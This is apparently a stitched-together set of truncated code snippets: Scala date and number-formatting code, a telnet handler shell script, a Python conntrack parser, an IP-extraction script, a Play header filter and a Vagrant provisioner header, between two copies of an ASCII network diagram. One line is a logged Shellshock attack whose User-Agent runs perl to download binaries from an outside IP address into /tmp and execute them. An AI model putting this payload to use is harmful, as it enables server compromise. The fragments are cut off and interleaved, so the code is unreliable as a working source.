+-------------+
| |
| DHCP server |
| |
+-------------+
| 192.168.1.34
|
|
VLAN 1 | 192.168.1.12
+------[1]----+
import io.circe.generic.auto._ | |
import io.circe._ | |
import io.circe.parser._ | |
import org.joda.time.DateTime | |
import org.joda.time.format.DateTimeFormat | |
import scala.util.control.NonFatal | |
object CirceDateTimeDecoder extends App { | |
val dateFormatter = DateTimeFormat.forPattern("yyyyMMdd") |
#!/bin/sh | |
echo '#!/bin/sh | |
gnome-terminal -e "telnet ${1#telnet://}"' > ~/bin/telnet-handler.sh | |
chmod +x ~/bin/telnet-handler.sh | |
echo '[Desktop Entry] | |
Type=Application | |
Name=Telnet Handler | |
Exec=telnet-handler.sh %u |
#!/usr/bin/env python | |
protocols = dict() | |
connection_states = dict() | |
import subprocess | |
output = subprocess.check_output('conntrack -L', shell = True) | |
for row in output.split('\n'): | |
elements = row.split() |
2015-03-05 14:40:18,395 access [INFO] request-id=4111 remote-address=195.238.181.22 user-agent=() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://212.56.214.209/mysqld -O /tmp/mysqld;curl -O /tmp/mysqld http://212.56.214.209/mysqld;chmod 777 /tmp/mysqld;/tmp/mysqld;wget http://212.56.214.209/mysqld_64 -O /tmp/mysqld_64;curl -O /tmp/mysqld_64 http://212.56.214.209/mysqld_64;chmod 777 /tmp/mysqld_64;/tmp/mysqld_64;");' uri=/cgi-sys/entropysearch.cgi method=GET time=0ms status=404 |
object TerryPratchett extends EssentialFilter { | |
def apply(nextFilter: EssentialAction) = new EssentialAction { | |
def apply(requestHeader: RequestHeader) = { | |
nextFilter(requestHeader).map { result => | |
// https://www.reddit.com/r/discworld/comments/2yt9j6/gnu_terry_pratchett | |
result.withHeaders("X-Clacks-Overhead" -> "GNU Terry Pratchett") | |
} | |
} | |
} |
#!/bin/bash | |
mkdir -p ips | |
grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' file.txt > ips/all | |
sort ips/all | uniq > ips/uniq | |
awk '$0="<![CDATA[<ip>]]>"$0"<![CDATA[</ip>]]>"' ips/uniq > ips/cdata.inc | |
INC=$(cat ips/cdata.inc) | |
cat <<EOF > web-harvest.xml |
import java.text.DateFormat | |
import com.ibm.icu.text.RuleBasedNumberFormat | |
object ICU42 extends App { | |
val locales = DateFormat.getAvailableLocales.toList | |
locales.filter(_.toString.length > 0).sortBy(_.toString).map( locale => | |
System.out.println(s"$locale ${new RuleBasedNumberFormat(locale, RuleBasedNumberFormat.SPELLOUT).format(42)}") | |
) | |
} |
+-------------+
| |
| DHCP server |
| |
+-------------+
| 192.168.1.34
|
|
VLAN 1 | 192.168.1.12
+------[1]----+
#======================================================================================================================= | |
# Vagrant shell provisioner | |
# Oracle JDK 8u5, Play Framework 2.2.3, Typesafe Activator 1.2.2, Scala 2.11.1 | |
#======================================================================================================================= | |
#----------------------------------------------------------------------------------------------------------------------- | |
# Nice stuff | |
#----------------------------------------------------------------------------------------------------------------------- | |
apt-get -qq update |